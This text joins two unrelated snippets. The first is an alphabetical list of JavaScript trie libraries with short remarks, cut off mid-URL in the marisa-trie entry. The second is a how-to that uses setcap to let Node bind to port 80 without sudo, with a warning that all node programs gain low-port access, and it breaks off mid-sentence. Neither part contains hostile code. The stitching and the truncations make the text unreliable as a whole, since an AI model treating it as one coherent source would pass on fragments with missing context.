a trie (aka prefix trie) is a way of storing string values such that for an input string (e.g. autocomplete) all matching stored values can be re__trie__ved efficiently

listed alphabetically:

• burst-trie - burst trie implementation, seems to be written in a Java style, no readme, not sure how fast it is
• datrie - double array trie - a trie that uses arrays instead of objects for faster + smaller serialization
• dtrie - trie based on minimal automaton, has stress tests, API is coupled to node though (requires fs)
• glob-trie - trie with pattern matching expressions like * ? \ etc, has stress tests
• iptrie - radix/patricia trie implementation specifically for IPv4 and IPv6 addresses
• [marisa-trie](https://code.google.com/p/mari

How to: Allow Node to bind to port 80 without sudo

TL;DR

Only do this if you understand the consequences: all node programs will be able to bind on ports < 1024

sudo setcap 'cap_net_bind_service=+ep' /usr/local/bin/node

Important: your node location may vary. Use which node to find it, or use it directly in the command:
